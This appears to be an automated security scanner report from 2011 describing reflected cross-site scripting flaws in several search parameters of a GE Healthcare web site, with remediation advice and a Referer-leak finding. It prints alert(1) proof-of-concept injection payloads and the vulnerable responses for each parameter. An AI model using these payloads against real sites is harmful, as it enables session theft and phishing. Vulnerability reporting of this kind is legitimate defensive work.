Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organization. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organization which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organization in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitized.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the frmGEHC request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a86d5"><script>alert(1)</script>7827ba6bd76 was submitted in the frmGEHC parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Server: GE Healthcare Web Server Date: Thu, 29 Dec 2011 20:48:01 GMT Content-type: text/html; charset=utf-8 X-Powered-By: Servlet/2.5 JSP/2.1 Content-Length: 14829
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3. ...[SNIP]... <a href="Search.jsp?textToSearch=scan+image&site=auen&frmGEHC=Ya86d5"><script>alert(1)</script>7827ba6bd76&cat=Biosciences Results"> ...[SNIP]...
The value of the site request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e9f6d"%3balert(1)//8154f00df7b was submitted in the site parameter. This input was echoed as e9f6d";alert(1)//8154f00df7b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Server: GE Healthcare Web Server Date: Thu, 29 Dec 2011 20:47:53 GMT Content-length: 2739 Content-type: text/html; charset=utf-8 X-Powered-By: Servlet/2.5 JSP/2.1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3. ...[SNIP]... <script> var gr = "http://www.gehealthcare.com/auene9f6d";alert(1)//8154f00df7b/gehc"; var homeUrl = "http://www.gehealthcare.com/auene9f6d";alert(1)//8154f00df7b/index.html"; </script> ...[SNIP]...
The value of the site request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4bb2d"><script>alert(1)</script>edda62f2af0 was submitted in the site parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Server: GE Healthcare Web Server Date: Thu, 29 Dec 2011 20:47:50 GMT Content-length: 2859 Content-type: text/html; charset=utf-8 X-Powered-By: Servlet/2.5 JSP/2.1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3. ...[SNIP]... <script language="JavaScript1.2" src="http://www.gehealthcare.com/auen4bb2d"><script>alert(1)</script>edda62f2af0/gehc/js/new_bd.js"> ...[SNIP]...
The value of the textToSearch request parameter is copied into the HTML document as plain text between tags. The payload 9311d<script>alert(1)</script>1dce53c4b8e was submitted in the textToSearch parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Server: GE Healthcare Web Server Date: Thu, 29 Dec 2011 20:47:47 GMT Content-length: 11974 Content-type: text/html; charset=utf-8 X-Powered-By: Servlet/2.5 JSP/2.1
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3. ...[SNIP]... <b>scan image9311d<script>alert(1)</script>1dce53c4b8e</b> ...[SNIP]...
The value of the qt request parameter is copied into the HTML document as plain text between tags. The payload 62c7c<script>alert(1)</script>efbd9120a0a was submitted in the qt parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behavior should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
HTTP/1.1 200 OK Server: GE Healthcare Web Server Date: Thu, 29 Dec 2011 20:46:31 GMT Content-length: 11522 Content-type: text/html; charset=utf-8 X-Powered-By: Servlet/2.5 JSP/2.1